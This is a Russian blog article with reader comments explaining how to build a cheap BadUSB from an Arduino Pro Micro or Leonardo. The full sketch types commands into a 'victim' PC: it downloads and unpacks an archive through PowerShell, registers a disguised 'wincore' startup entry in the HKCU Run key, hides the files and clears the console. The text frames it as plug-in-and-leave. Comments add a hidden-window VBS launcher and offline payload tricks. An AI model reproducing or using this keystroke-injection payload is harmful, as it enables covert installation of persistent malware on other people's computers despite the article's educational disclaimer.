Самодельный BadUSB на Arduino Pro Micro или Leonardo +26



Введение


Не так давно в наших кинотеатрах появился фильм про человека-паука. Главный герой фильма при помощи устройства, по виду напоминающего флешку, смог взломать систему и получить контроль над лучом, переносящим между измерениями. Платы Arduino Leonardo и Arduino Pro Micro (и вообще почти все микроконтроллеры на чипе 32u4) могут восприниматься системой как устройства ввода. Поэтому такое устройство вполне реально сделать, причём оно обойдётся вам всего в 3$. Всё что нужно для взлома — подойти к компьютеру жертвы, вставить «флешку», подождать 5 секунд, вытащить и уйти как ни в чём не бывало.

Дисклеймер


Данная статья создана исключительно в образовательных целях. Я не распространяю вредоносное ПО и не пропагандирую его использование. Ответственны за незаконное использование такого рода устройств только вы. Пользуйтесь на здоровье, но только в мирных целях. При публикации проекта, созданного с использованием этого материала, просьба указывать ссылку на этот пост или мой профиль

Идея проекта


Создадим простейшее устройство BadUSB на Arduino Pro Micro или Leonardo, которое при подключении к компьютеру будет определяться как клавиатура и вводить команды с высокой скоростью. В этом примере я сделаю программу, которая:

1. Создаёт папку в пользовательском каталоге AppData
2. Скачивает в неё архив с нужными файлами из интернета
3. Распаковывает файлы в скачанном архиве
4. Прописывает нужный файл в автозагрузку
5. Скрывает папку и файлы в ней и заметает следы

Преднулевой этап


Откройте Arduino IDE и во вкладке Инструменты в выборе плат поставьте Arduino Leonardo. Не удивляйтесь, если Pro Micro не будет в списке так как этот микроконтроллер будет восприниматься системой как Leonardo. Теперь можно приступать к программированию нашего «добра».

Пишем костяк кода


Подключим библиотеку <Keyboard.h> для подключения контроллера как клавиатуры к компьютеру жертвы. В функцию Void Setup пишем стандартный код подключения микроконтроллера как клавиатуры. Void Loop нам не понадобится, но без него скомпилировать скетч просто не получится, поэтому оставим данную функцию пустой. В итоге получаем вот такой костяк:

#include <Keyboard.h>
void setup(){
    Keyboard.begin();
    delay(2000);}
void loop(){}

Запуск Win + R


Напишем функцию для открытия окна Выполнить сочетанием клавиш Win + R. Эта функция понадобится нам целых три раза. Здесь всё понятно. Зажимаем клавишу Win и нажимаем R:

void winPlusR() {
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press('r');
    delay(45);
    Keyboard.releaseAll();
    delay(100);
}

Создаём папку


Теперь нам почти не понадобятся знания C++ так как код ввода команд постоянно повторяется. Сейчас главное — знания командной строки Windows (cmd). Продумываем алгоритм: запустить командную строку, перейти в каталог AppData пользователя, создать там папку и закрыть окно cmd. Дальше всё просто — даём нашему микроконтроллеру инструкции как это сделать:

void createFolder(){
    winPlusR();
    // запусаем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(500);
    // переходим в каталог данных пользователя
    Keyboard.println("cd C:/Users/%USERNAME%/AppData"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // создаём папку mycat
    Keyboard.println("mkdir mycat"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(200);
}

Скачиваем архив


Со скачиванием архива с файлами всё оказалось гораздо сложнее чем я думал. Дело в том что в командной строке Windows нет утилиты для скачивания с интернета. Сразу вспомнил утилиту wget в Debian, но у нас есть только доступ к командной строке без возможности установить дополнительные утилиты. Тогда пришлось обратиться к PowerShell:

void getFiles(){
    winPlusR();
    // открываем powershell
    Keyboard.println("powershell"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // переходим в папку mycat
    Keyboard.println("cd C:/Users/%USERNAME%/AppData/mycat"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // задаём адрес
    Keyboard.println("$download_url = 'http://google.by'"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // задаём локальный путь
    Keyboard.println("$local_path = 'C:/Downloads/file.zip'"); 
    Keyboard.write(KEY_RETURN);
    delay(100);
    // запускаем веб клиент
    Keyboard.println("$WebClient = New-Object System.Net.WebClient"); 
    Keyboard.write(KEY_RETURN);
    delay(500);
    // качаем архив
    Keyboard.println("$WebClient.DownloadFile($download_url, $local_path)"); 
    Keyboard.write(KEY_RETURN);
    delay(1250);
    // распаковываем его
    Keyboard.println("Expand-Archive $file.zip"); 
    Keyboard.write(KEY_RETURN);
    delay(750);
    // закрываем окно
    Keyboard.println("exit"); 
    Keyboard.write(KEY_RETURN);
    delay(200);
}

Много проблем


Изначально я планировал сделать всё по другому — добавить в автозагрузку скрипт PowerShell, который бы при следующей загрузке скачивал и распаковывал архив без ограничения на время. Но в большинстве систем семейства Windows в PowerShell по умолчанию установлена максимальная политика безопасности, которая запрещяла запускать ps1-скрипты. Отключить это ограничение можно следующей командой:

powershell -Command Set-ExecutionPolicy RemoteSigned

Но незадача в том, что для выполнения данной команды нужны права администратора. Пришлось скачивать и распаковывать на ходу. Но если у вас есть доступ к «админке», то можно смело переделывать программу под мою первую идею. Надеюсь, с написанием кода читатель разберется самостоятельно.

Но на этом неприятности не закончились. Дело в том, что команда на распаковку архива не работает в старых версиях Windows. Поэтому если вы имеете дело с древними версиями винды, то вместо скачивания инструментом обратитесь к стороннему архиватору, например 7-Zip:

set-alias sz "$env:ProgramFiles\7-Zip\7z.exe" 
sz x -r C:/Users/%USERNAME%/AppData/mycat/file.zip

Настраиваем файлы


Самое сложное уже позади. Возвращаемся к обычной командной строке, прописываем файл-запускатор в автозагрузку и скрываем папку и файлы в ней, изменив атрибуты:

void setUpFiles(){
    winPlusR();
    // открываем командную строку
    Keyboard.println("cmd");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // переходим в папку пользователя
    Keyboard.println("cd C:/Users/%USERNAME%/AppData");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // делаем папку невидимой для пользователя
    Keyboard.println("attrib +h mycat");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // файлы внутри папки тоже
    Keyboard.println("attrib +h mycat/");
    Keyboard.write(KEY_RETURN);
    delay(100);
    // прописываем в автозагрузку
    Keyboard.println("reg add HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/Run /v 'wincore' /d 'C:/Users/%USERNAME%/AppData/mycat/start.bat'");
    Keyboard.write(KEY_RETURN);
    delay(250);
    // заметаем следы и закрываем cmd
    Keyboard.println("cls && exit");
    Keyboard.write(KEY_RETURN);
    // дальше вытаскиваем "флешку" и сваливаем
}

Из кусков в одно целое


Изменим Void Setup для запуска написанных нами функций по очереди:

void setup() {
    Keyboard.begin();
    delay(2000);
    createFolder();
    getFiles();
    setUpFiles();
}

Заключение


Мы написали простейший скетч для нашей «флешки» на Arduino IDE. Подключить её к ПК жертвы можно при помощи обычного переходника miniUSB на USB (желательно без провода). Пользуйтесь, но не во зло другим.

Вы можете помочь и перевести немного средств на развитие сайта



Комментарии (31):

  1. slavae
    /#19589078 / +1

    А если в компе нет диска С:? )
    Надо использовать %appdata%

  2. Satyricon
    /#19589120 / +1

    А если сделать самораспаковывающийся архив, то и возни с распаковкой не будет

  3. mazy
    /#19589170

    Можно digispark attiny использовать.

  4. MrGobus
    /#19589174 / -1

    А вот если к 32u4 добавить RFID ридер то можно сделать систему ввода пароля по поднесению карточки или мобильного.

    • StSav012
      /#19589188

      Как убедиться, что это нужный пароль, и он вводится в нужное место? Я давно думаю об этом, но так и не придумал ничего лучше посылания пароля по RFID, а как это сделать без root access на телефоне, тоже не знаю.

      • aamonster
        /#19589962

        Вам на андроидном телефоне вводить пароль? Тогда рут не обязателен, там есть accessibility API (деталей не знаю, но возможность вводить пароли точно есть).

  5. epishman
    /#19589326 / -2

    В линуксе такое не прокатит, для серьезных действий там нужно sudo, но наверное можно зайти вконтактик и скайп, похитить файлы, в общем ужас.

  6. AlexAnanas
    /#19589338

    Статья создана чисто с целью показать вам сам метод реализации подобного рода программ. Дальнейшие модернизации — дело уже не моё

  7. Sleuthhound
    /#19589736

    А не пробовали поставить популярные антивирусы и воспользоваться вашим устройством? Было бы интересно посмотреть на реакцию антивирей, например у drweb есть опция защиты от bad usb, но настолько она хороша я не провнрял, знаю что при подключении любого hid устройства определяемого как клавиатура он блокирует его и просит нажать сочетание клавиш на нем для проверки.

  8. mkc
    /#19590114 / -2

    Во первых windows для всего ставит драйвер и сразу эта штука работать не начнет, а во вторых, cmd запускается так, что на экране на доли секунды выскочит, да кто-то еще не ставит галочку показывать скрытые файлы?

    • Psychosynthesis
      /#19590608

      Командную строку можно запускать в режиме без отображения окна, если предварительно через блокнот создать VBS-файл и запустить его (с этим могут быть проблемы, конечно):

      Вариант
      VBS-скрипт:
      //Если для BAT-файла переданы аргументы
      for n = 2 to WScript.Arguments.count
      Args = Args & WScript.Arguments(n-1) & " "
      next

      // + Пробел слева и - пробел справа
      if len(Args) <> 0 then Args = " " & left(Args, len(Args) - 1)

      CreateObject("WScript.Shell").Run WScript.Arguments(0) & Args, 0, False


      Запуск:
      cscript.exe //nologo hide.vbs "c:\batnik.bat" "argument1" "argument2" "argumentN"

    • geher
      /#19591440

      Во первых windows для всего ставит драйвер и сразу эта штука работать не начнет

      Сразу не начнет. Потребуется время на установку драйвера, которое сильно зависит от наличия и особенностей установленного антивируса — от долей, секунды (на системе без антивируса) до без малого минуты.

  9. samponet
    /#19590324

    Из командной строки скачать что-то можно при помощи BITS. К сожалению, так сразу под рукой кода нет, но оно работает от 7 до 10 точно (проверено). Сама по себе идея не плоха, если пользователь совсем-совсем пользователь и даже скачать программу удаленного управления не в состоянии, а помощь оказать надо.

  10. dok2d
    /#19590458

    И весь «хакинг» разбивается о скалы, когда на компьютере жертвы выставлен русский язык ввода…

  11. san-x
    /#19590718

    Я вот до сих пор не могу привыкнуть к тому, что винда7+ при подтормаживании имеет привычку терять часть введенного текста (если я строчу во время тормозов), буфер ввода последний раз честно отрабатывал на ХР.
    К чему это я? А к тому, что нельзя надеяться только на устройство ввода без какого-либо контроля того, что введенный текст «дошел» до редактора (в т.ч. команд-лайна) полностью. Пару символов потерялось — и все прахом. Еще и мусор после себя оставит.
    А учитывая, что в момент обнаружения устройства система начнет ставить на него дрова (пускай даже стандартные) — именно в этот момент ей может быть немного не до ввода (говорим про относительно неспешную машину, ессно).

  12. sorex
    /#19590836

    Я уже прямо вижу такую ситуацию — идет человек по улице видит валяется что то типа флешки с юсб разьемом он поднимает ее и кидает в карман и идет дальше на работу, поднимается в офис на лифте, заходит в опенспейс вешает пальто на вешалку подходит к своему компьютеру, разблокирует его проверяет утреннюю почту и заявки, встает из-за рабочего места идет к кофе машине и делает себе двойной американо, по пути обратно к столу он вспоминает о утренней находке, подходит к вешалке и достает оттуда флешку, садится за свое рабочее место втыкает флешку и… через 1 секунду у него начинает ставится браузер Амиго и Селектор браузеров и все сопутсвующее от мэй… (корпорации зла)

    • AlexAnanas
      /#19590840

      Тихая установка программ — неплохая идея

    • firedragon
      /#19591166 / +1

      Не советую пихать в свой комп что то. Это как с безопасным сексом.
      Была такая шутка Kill-USB — обычная флешка с надписью 44.

  13. iig
    /#19591082

    Зверь-usb на подходе. Сам перезагрузит комп, нажмёт нужные кнопки и установит windows xp :)
    А так, можно ведь и не скачивать ничего. Наколотить сразу .exe, поправить пару строк в реестре.

  14. GennPen
    /#19591134

    Подключить её к ПК жертвы можно при помощи обычного переходника miniUSB на USB (желательно без провода)

    Есть уже готовые решения, ищется на Aliexpress по словам «ss micro», стоимость в районе 300р.
    Заголовок спойлера
    image
    image

  15. roboqueer
    /#19591142

    Так, а что вы нам тут нового рассказали? Не достаточно ли было дать ссылку на документацию к Keyboard, дальше которой вы так и не ушли?

    www.arduino.cc/reference/en/language/functions/usb/keyboard

    Что же касается сабжа — Atmega32U4 стоит конских денег в сравнении с тем же STM32F070 (первое, что пришло в голову, когда прочитал про USB, стоит меньше 70 рублей в московской рознице — www.electronshik.ru/item/ST/STM32F070F6P6), да еще и отличается неприличными габаритами. Упихать ее в корпус флешки не получится — а главное в любом нормальном BadUSB, а не очередной поделке на эту тему — это безобидный внешний вид.

    • Alexeyslav
      /#19591246

      Развести контроллер на своей платке размером с флешку — это верх сложности? Ардуинка в своём исходном виде удобна для разработки и отладки, а готовый результат можно и самому спроектировать, благо ардуина это всего лишь минимально необходимый обвес для голого контроллера и проблем с разводкой своей платы возникнуть не должно. Под STM-ку не уверен в наличии столь же удобной и готовой библиотеки как в ардуине, хотя аппаратные возможности достаточны но там гораздо больше ньюансов и магии в итоге разработка и отладка аналогичного девайса затянется на месяцы.

      • roboqueer
        /#19592000

        Разведите мне «на своей платке размером с флешку» — или давайте уточним, шириной 12 мм, измерил первую попавшуюся мне флешку с разломанным корпусом — устройство, где микроконтролер в корпусе TQFP-44 сам по себе имеет ширину 12 мм. QFN, конечно, лучше — всего 7 мм, но зачем?

        И какие месяцы на разработку и отладку? Неделя, не больше.

        • Alexeyslav
          /#19592150

          Зачем… для маскировки! Есть и толстые флешки, я видел такие где микросхемы флеш-памяти стоят поперёк, а они даже шире контроллера.

  16. lonelymyp
    /#19591248

    Статья кажется неполной без самих устройств…

    ru.aliexpress.com/item/BadUsb-Beetle-Bad-USB-ATMEGA32U4/32840543140.html
    image
    или вот, с вайфаем
    ru.aliexpress.com/item/Cactus-Micro-compatible-board-plus-WIFI-chip-esp8266-for-atmega32u4/32318391529.html
    image

  17. Alexeyslav
    /#19591276 / +2

    Зачем скачивать файлы, темболее что возможны административные ограничения на доступ к интернету(может понадобится ввод пароля на подключение к интернету) и необходимым утилитам, если их можно ТУПО ВВЕСТИ с клавиатуры через блокнот или консоль «copy con file.zip» а исходник файла держать на своей же microSD подключенной(или распаянной!) к контроллеру. Автономность повышается, нет зависимости от интернета.

    • AlexAnanas
      /#19594686

      Отчасти согласен, но многие не станут париться с установкой sd-шилда и его настройкой для подключения к компу

      • Alexeyslav
        /#19594880

        Многие вообще не станут парится. Ибо это всё не уйдёт дальше рабочего стола. А тем кому это действительно надо будет, их не остановят никакие сложности.

  18. perfect_genius
    /#19593102

    Ещё Соколиный Глаз в первых Мстителях попал стрелой-флэшкой в USB-порт и вывел из строя оборудование.

  19. Compiller
    /#19593158

    В телеграм давали команду скачки файла силами пауэршелл, как вариант